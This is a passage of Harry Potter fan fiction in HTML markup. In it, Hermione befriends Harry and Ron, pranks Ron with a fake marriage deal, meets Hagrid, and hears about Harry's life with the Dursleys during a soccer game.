her or even just wave at her.&nbsp; Even after their talk a half-hour ago, she still felt a little nervous in his presence around the other Gryffindors.&nbsp; In the back of her head, she wondered how open he would be out their friendship.&nbsp; After all, she still was only barely tolerated by her housemates and disliked by most of her other classmates.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Maybe if I hang out with Harry, I&#8217;ll be more popular,&#8221; </i>she thought absentmindedly. <i>&#8220;I can&#8217;t believe I just thought that!&nbsp; I&#8217;m not going to use my friendship with Harry to be popular.&nbsp; He&#8217;s just another person like everyone else and it shouldn&#8217;t matter that he&#8217;s considered famous.&nbsp; But I guess it does even if I don&#8217;t want it to.&nbsp; Being closer with him is going to automatically make me more liked by some people and hated by others, but I guess that would be kind of the same with anyone you&#8217;re friends with, but on a smaller level.&nbsp; Then again, I&#8217;m still assuming he&#8217;ll even want to be seen with me in public, maybe the only time I&#8217;ll get to talk to him is when I go up on the&#8230;&#8221;</i></p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So you don&#8217;t have any homework left I&#8217;m guessing?&#8221; Harry had plopped down in the chair in front of her.&nbsp; He dropped a few books on the table they were sharing.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione&#8217;s mouth dropped as she watched Harry busying himself with pulling supplies from his bag.&nbsp; Without any warning or preamble, he had just come and sat with her as if it were the most common thing for him to do.&nbsp; Hermione looked slowly around at the others in the room, from behind her large book.&nbsp; She noticed that many of them, especially Parvati and Lavender looked just as shocked as she felt.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry,&#8221; Hermione hissed. &#8220;People are staring at us.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry didn&#8217;t look up from the book he was reading. &#8220;I&#8217;m used to it.&nbsp; You should have seen it when I was in Diagon Alley.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione thought about this.&nbsp; She remembered the first week that Harry was at school, all the stares he would get when he walked down the hall.&nbsp; He had to be used to people staring at him by now, especially those trying to get a look at his scar.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where&#8217;s Ron,&#8221; she asked switching subjects.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He&#8217;ll be down in a bit.&nbsp; He said something about looking for his potions book.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Did you tell him&#8230; that we&#8217;re talking?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nope.&#8221; Harry said still engrossed in his book.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione&#8217;s eyes widened. &#8220;Do you really think that was wise?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry finally looked up, &#8220;Hermione you worry too much.&nbsp; You&#8217;ve got to loosen up.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And how would you purpose I do that?&#8221; Hermione huffed.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry gave her a half grin. &#8220;Well I&#8217;d start by working on your sense of humor.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was about to tell him that she didn&#8217;t think there was anything wrong with her sense of humor but at that moment Ron arrived.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oy, I see you&#8217;re speaking to us now,&#8221; Ron said, plopping down beside Harry. &#8220;Finally given in, eh?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m speaking to Harry,&#8221; Hermione said haughtily. &#8220;I haven&#8217;t made up my mind about you yet.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Still high and mighty Hermione, I see.&#8221; Ron said as he pulled some things from his bag. &#8220;You&#8217;d think almost getting killed by a troll would loosen you up a bit.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What is it with everyone and me loosening up?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s a conspiracy, I tell you,&#8221; Harry laughed.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, this school work is a conspiracy,&#8221; Ron sighed as he stacked books on the table. &#8220;An essay in every class; what are our teachers playing it?&nbsp; It&#8217;s lunacy.&nbsp; This is no way to start the weekend.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re telling me,&#8221; Harry said. &#8220;I still haven&#8217;t gotten the one for McGonagall done yet.&nbsp; She wants, 2 &#189; feet.&nbsp; That&#8217;s way too much.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Really?&#8221; Hermione said. &#8220;I&#8217;ve already done it.&nbsp; I have 3 feet.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron and Harry shared a look that made it all too clear that this didn&#8217;t surprise them.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well since you&#8217;re already done, maybe you can help me make sense of this assignment Snape gave us,&#8221; Ron asked hopefully.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione thought about this for a second.&nbsp; Then an idea jumped into her head, the kind of idea that once again made her wonder if she had a sadistic side.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;For you, Ron, anything,&#8221; she said with a sly grin.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron gave her a quizzical look. &#8220;What?&nbsp; Just like that?&nbsp; I&#8217;d have thought you&#8217;d charge me 10 galleons.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No of course not.&nbsp; That would be against the agreement that Harry and I have.&#8221; She pulled Ron&#8217;s potions book towards her.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What agreement?&#8221; Ron looked from Harry to Hermione.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry looked only mildly interested in the conversation.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh didn&#8217;t he tell you?&#8221; Hermione said matter-of-factly. &#8220;See, Harry told me how you were trying to figure out a way to get me to &#8216;help&#8217; you with your studies, so he and I worked out a deal.&nbsp; You two get as much help with your schoolwork as you want, I guarantee you&#8217;ll pass all your classes.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron&#8217;s eyes widened. &#8220;Really?&nbsp; That&#8217;s great.&#8221; Ron said excited. &#8220;Beats studying.&#8221; He finally noticed that Hermione had a sly grin on her face. &#8220;Wait a minute.&nbsp; What do you get out of this deal?&#8221; he asked skeptically.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry has to marry me.&#8221; Hermione said calmly as she turned a page in the potions book.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron almost fell out of his chair. &#8220;WHAT?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione made a concerted effort not to laugh. &#8220;Well not now, of course.&nbsp; After we leave Hogwarts.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re kidding.&#8221; He turned to Harry. &#8220;She&#8217;s kidding right?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione has no sense of humor, remember?&#8221; Harry said blandly, going along with the joke.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, you can&#8217;t do this.&#8221; Ron pleaded. &#8220;It&#8217;s not worth it.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hey, I resent that,&#8221; Hermione said with mock anger.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You have to admit Ron, you&#8217;re grades aren&#8217;t that great,&#8221; Harry reasoned. &#8220;It&#8217;s a pretty good deal if you think about it.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione Granger-Potter,&#8221; Hermione said dreamily.&nbsp; &#8220;Has a nice ring to it don&#8217;t you think?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron was turning green. &#8220;I don&#8217;t believe this.&nbsp; Harry, have you lost your mind?&nbsp; This is <i>Hermione </i>we&#8217;re talking about.&nbsp; You can&#8217;t marry her!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And why not!&#8221; Hermione said defensively, still trying not to crack a smile.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes Ron,&#8221; Harry added coolly. &#8220;Why not?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Because&#8230; because&#8230; well just because!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oooo, that is a very good reason,&#8221; Hermione teased.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;This <i>isn&#8217;t</i> funny.&#8221; Ron was making such a scene that several more people were staring at him now.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh calm down, Ron,&#8221; Hermione chastised. &#8220;You have to get started on your potions essay.&nbsp; Unless you want Snape to give you detention for not having it done.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry turned his book around so Hermione could read it. &#8220;Before you do that, could you help me with the levitation charm.&nbsp; I just seem to have a block for it.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How can you think about charms at a time like this?&#8221; Ron said almost shouting.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well I figure if I&#8217;ve got to marry the girl, I should at least milk my end for everything it&#8217;s worth.&nbsp; You should too, you know.&nbsp; After all, I made this deal for you.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He&#8217;s got a point,&#8221; Hermione said in a chipper voice.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron started shaking his friend. &#8220;Harry, you can&#8217;t sell away the rest of your life just for some good grades.&nbsp; It&#8217;s not worth it.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well it&#8217;s too late now,&#8221; Hermione, said pulling out a quill. &#8220;A deal&#8217;s a deal.&nbsp; There&#8217;s no turning back.&nbsp; We&#8217;ve got a contract.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron stood, exasperated. &#8220;I can&#8217;t deal with this.&nbsp; Harry, when you two are through, I think we need to have a nice long talk.&#8221; He stormed off towards the stairs to his dormitory.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When he was out of earshot, Hermione and Harry collapsed on the table in a fit of laughter.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Not bad Hermione.&#8221; Harry said when he finally composed himself. &#8220;I can&#8217;t believe you actually got him to buy that.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;The beauty of being known as a goodie-two-shoes is that no one will ever suspect that you&#8217;re lying.&#8221; Hermione said with the same sly grin.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I think I had you pegged all wrong,&#8221; Harry admitted. &#8220;You&#8217;ve got a bit of a dark side.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So when are you going to tell him?&#8221; Hermione asked, moving Ron&#8217;s book aside.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I think I&#8217;ll give him a couple of hours to simmer,&#8221; Harry decided. &#8220;That should give you enough time to help me with that charm.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh I see how it is,&#8221; Hermione gave him one of her trademark disapproving looks. &#8220;You&#8217;d better be careful, Harry Potter.&nbsp; I&#8217;m going to be a demanding wife.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I can imagine.&#8221;</p>\n\n<center><p>-----</p></center>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s not funny!&#8221; Ron said for the fifth time.&nbsp; Harry and Hermione were still laughing over the way they had tricked him the previous night.&nbsp; It was Saturday morning and the trio was eating breakfast.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Let me take you back Ron,&#8221; Harry laughed. &#8220;&#8216;Harry, you can&#8217;t sell away the rest of your life just for some good grades.&nbsp; It&#8217;s not worth it.&#8217;&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron turned red, but said nothing.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Now you know not to mess with me, Ron Weasley.&#8221; Hermione warned with a grin.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re scary, you know that?&#8221; Ron sighed.&nbsp; It seemed he had finally gotten used to the idea of having Hermione around.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh look, if it isn&#8217;t Potty and the Weasel,&#8221; came a drawling voice from behind them that could have only belonged to Draco Malfoy.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The three friends turned to see Malfoy and Pansy standing behind them. &#8220;Oh and look, the dynamic duo added a third loser to their ranks.&#8221; Malfoy continued.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;First poor pathetic Weasley, now muggle-born Granger,&#8221; Pansy snarled. &#8220;What&#8217;s next?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry was about to answer but Hermione cut him off. &#8220;Well we were thinking about adding a trained monkey to the group, but it looks like you&#8217;re already with Malfoy.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry and Ron laughed.&nbsp; Malfoy and Pansy stormed off saying nothing.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I can&#8217;t stand that girl.&#8221; Hermione said returning to the book in front of her.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So what should we do today,&#8221; Ron asked Harry.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; While Harry and Ron talked about their plans, Hermione started thinking about what she had planned for the weekend, and realized that she had nothing.&nbsp; It was the same every weekend.&nbsp; She had two choices, she could either go sit with Lavender, Parvati and their Ravenclaw friends while they prattled on about their latest crushes or she could go to the library and be alone and lonely.&nbsp; Neither of the ideas really appealed to her.&nbsp; What she really wanted to do was spend more time talking with Harry.&nbsp; She had really enjoyed the conversation they had the previous evening.&nbsp; But even though she was finally friends with Harry, she knew that he&#8217;d still probably spend most of his time with Ron, leaving her to fend for herself.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry and Ron stood from the table.&nbsp; Hermione had been so deep in thought that she hadn&#8217;t heard a word of their conversation.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you coming?&#8221; Harry asked her.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Huh?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I told you, those books have rotted her brain,&#8221; Ron said with a grin.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;re going to go see Hagrid.&#8221; Harry said. &#8220;Didn&#8217;t you hear us?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, yes of course I heard you.&#8221; Hermione shut the book in front of her. &#8220;Who&#8217;s Hagrid?&#8221;</p>\n\n<center><p>-----</p></center>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hagrid as it turned out, was the Hogwarts grounds keeper.&nbsp; She had seen him from her spot on the ramparts several times walking across the courtyards, but she&#8217;d never actually talked to him or seen him in person, except eating at the head table.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As it turned out, Harry was friends with Hagrid and had been even before school started.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He&#8217;s the one who first told me about Hogwarts and being a wizard.&#8221; Harry explained as they walked towards Hagrid&#8217;s cabin. &#8220;He&#8217;s really nice, just&#8230; don&#8217;t eat anything he offers you,&#8221; he warned.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They knocked on Hagrid&#8217;s door and immediately heard a booming bark in response. &#8220;Uh, what was that?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh it&#8217;s just Fang. Don&#8217;t worry, he&#8217;s harmless.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Anything that loud couldn&#8217;t possibly be harmless, but Hermione took his word for it.&nbsp; The door opened and Hermione got her first up close and personal look at Hagrid.&nbsp; He was huge.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Oh my,&#8221; </i>she thought. <i>&#8220;He&#8217;s got to be a giant.&nbsp; No wait, giants are much bigger, but he&#8217;s definitely half-giant, probably on his mother&#8217;s side.&nbsp; I never noticed it before but now I&#8217;m absolutely positive.&#8221;</i></p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, &#8216;ello Harry, Ron.&nbsp; Who have we &#8216;ear?&#8221; Hagrid said jovially as he opened the door.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;This is Hermione,&#8221; Harry introduced them and Hagrid shook her entire arm.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, I remember you telling me about &#8216;er.&#8221; Hagrid said. &#8220;Cleverest witch in your year.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione blushed.&nbsp; Had Harry really said that about her?</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Come in, I just finished makin&#8217; some treacle fudge.&nbsp; You want some?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No thanks Hagrid, we just ate breakfast.&#8221; Harry said hastily as they sat down.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fang bounded from his corner and pounced on Harry before he even had a chance to get to the table.&nbsp; Hermione was relieved to see that the dog was as harmless as Harry had said.&nbsp; He seemed to like Harry and licked him feverishly until Hagrid pulled him off.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How&#8217;s quidditch practice going Harry?&#8221; Hagrid asked as he sat down at the table.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry told Hagrid all about his practices with the team, then the trio shared the story about the troll.&nbsp; Harry was careful to leave out the real reason why Hermione was in the girl&#8217;s bathroom to begin with, and she was grateful for that.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I heard summat &#8216;appened with you three from Professor McGonagall, but I never knew all that.&#8221; Hagrid said when they finished their story. &#8220;Are you alright Hermione?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, I&#8217;m just glad they made it there in time.&#8221; Hermione said.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, I&#8217;ve got me chores to do,&#8221; Hagrid announced. &#8220;What&#8217;re you three up to?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Dean wants to teach all of us about muggle soccer this afternoon,&#8221; Ron told him. &#8220;We&#8217;re supposed to meet him down by the lake in a few minutes.&nbsp; This should be a hoot.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, we&#8217;d better get going.&#8221; Harry stood. &#8220;You coming Hermione?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh, I may come watch but I don&#8217;t think I&#8217;m going to play.&#8221; Hermione decided. &#8220;Maybe I&#8217;ll go up to the castle and bring a book down so I can read while you boys kick around.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Alright, we&#8217;ll we&#8217;re going to get going then.&nbsp; We&#8217;ll see you down there.&#8221; Harry and Ron left out of the cabinet.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione got up from the table and was about to leave when Hagrid spoke again. &#8220;So, what&#8217;re you think of our young Mr. Potter, Hermione.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione hadn&#8217;t expected the question.&nbsp; She looked in his beetle-black eyes that shined with a hidden knowledge. &#8220;Well, at first I didn&#8217;t know what to think.&nbsp; I mean, after all, he is Harry Potter.&nbsp; But he sort of surprised me.&nbsp; So I don&#8217;t know anymore.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh I think ya do know,&#8221; Hagrid said with a booming laugh.&nbsp; &#8220;Let me tell ya something.&nbsp; Harry&#8217;s just wants to be like every other boy &#8216;ere at Hogwarts.&nbsp; He&#8217;s just as confused about who he is as you are.&nbsp; If ya want to really know Harry though, just be &#8216;is friend.&nbsp; He could use another good friend who doesn&#8217;t treat him differently &#8216;cause of you know who.&nbsp; I think you&#8217;ll be good for him.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Really?&#8221; Hermione brightened.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Behind every good wizard, there&#8217;s an even better witch.&#8221; Hagrid said.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She laughed. &#8220;I doubt he&#8217;ll see it that way.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Give &#8216;im some time, I&#8217;m sure he&#8217;ll come &#8216;round,&#8221; Hagrid assured her. &#8220;Sure you don&#8217;t want any fudge before you go?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh, no.&nbsp; I&#8217;d better get going.&#8221; She walked towards the door but then turned around. &#8220;Say, Hagrid, did Harry really say that&#8230; what I mean to say is do you think he&#8230; um&#8230; well&#8230;&#8221; She couldn&#8217;t figure out the right way to ask the question without sounding like some obsessed Harry Potter fan who wanted to know if her idol ever breathed her name.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hagrid seemed to understand. &#8220;Well, I&#8217;ll tell you one thing Hermione, you&#8217;re the only girl I&#8217;ve ever heard Harry talk about.&nbsp; That&#8217;s gotta mean summat.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione tried to hide her intense elation as she hurried out of the cabin.</p>\n\n<center><p>-----</p></center>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione sat under the shade of a tree as she watched several Gryffindors, Ravenclaws, and Hufflepuffs play muggle-soccer.&nbsp; Some of the older boys who hadn&#8217;t gone to Hogsmeade conjured up a few goals and after the rules were explained, Dean broke out his ball and the game began.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was glad she had decided to sit this out as it looked like the boys were playing rough.&nbsp; There were only a few girls on the field and they all looked far more athletic than her.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; None of the Gryffindor girls were on the field and that didn&#8217;t surprise Hermione at all.&nbsp; She had watched as Lavender and Parvati made their appearance 15 minutes into the game but only to be overenthusiastic cheerleaders for the Gryffindors, especially Harry.&nbsp; The Slytherins were also on the scene, but they mostly just made snide comments about how &#8220;respectable wizards and witches would never engage in such a degrading muggle activity.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; During one of the breaks, Harry came and plopped down next to Hermione.&nbsp; He was sweating but had a huge grin plastered on his face.&nbsp; Ron was across the field getting tips from Dean. &#8220;Oy, this is pretty fun.&nbsp; Definitely not what I expected.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You act like you&#8217;ve never played soccer before,&#8221; Hermione put down her book.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry shrugged. &#8220;I haven&#8217;t really.&nbsp; The Dursleys never let me join any sports teams or have any extracurricular activities.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh,&#8221; Hermione said.&nbsp; She&#8217;d never heard Harry talk about the Dursleys but she knew that these were the people that he had lived with almost his whole life. &#8220;Why not?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry shrugged again. &#8220;I guess they were afraid to let me have contact with other kids, in case my magical side kicked in.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;They knew you were a wizard?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, Aunt Petunia was my mom&#8217;s sister.&nbsp; They knew alright, but they tried to stomp the magic out of me by making my life as miserable as possible.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione&#8217;s eyes widened. &#8220;You&#8217;re kidding?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;They treated me like I was a dog they couldn&#8217;t get rid of most of time.&nbsp; When they found out that Hogwarts sent me my letter, they tried to keep it from me, but I think they were glad to get rid of me for most of the year one way or another.&nbsp; I&#8217;m glad too.&nbsp; I never want to go back.&nbsp; If I could stay here all year long I would.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry continued to tell Hermione all about his life with the Dursleys.&nbsp; How they never celebrated his birthday; how they, until recently, always made him sleep in a cupboard under the stairs; how his cousin Dudley and his friends always managed to find new ways to make his life miserable.&nbsp; Hermione was completely shocked.&nbsp; She&#8217;d never known what kind of life Harry had while living with his muggle aunt and uncle.&nbsp; No wonder he was so quiet all the time.&nbsp; He had grown up in a world where he wasn&#8217;t allowed to ask questions or have any imagination.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh Harry,&#8221; Hermione bit her bottom lip. &#8220;I didn&#8217;t know.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Not many people do, except you and Ron.&nbsp; I don&#8217;t like to talk about it a lot.&#8221; Harry admitted. &#8220;But I figured since you opened up to me, I should do the same.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks,&#8221; Hermione said, not knowing what else to say.&nbsp; She wished she could talk with him like this forever, but a moment after she thought it, Ron appeared.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, we&#8217;re about to start again.&nbsp; You ready.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yup,&#8221; Harry said getting up. &#8220;Say Hermione, it looks like Neville&#8217;s on his last leg.&nbsp; I&#8217;d bet he&#8217;d appreciate it if you subbed for him.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gave him a look of disgust. &#8220;I&#8217;m not going out there and running around that field chasing after some ball.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh come on, it&#8217;ll be fun,&#8221; Ron said cheerily. &#8220;Unless you&#8217;re afraid you&#8217;ll be bad at it.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;d rather not find out, and besides I&#8217;d practically be the only girl out there.&nbsp; I don&#8217;t see you asking Lavender or Parvati to play.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well that&#8217;s different, I mean Lavender and Parvati, they&#8217;re&#8230; we&#8217;ll they&#8217;re girls.&#8221; Ron said awkwardly.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh and what am I?&#8221; Hermione retorted with a hint of anger in her voice.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re <i>Hermione!&#8221;</i> Ron said as if 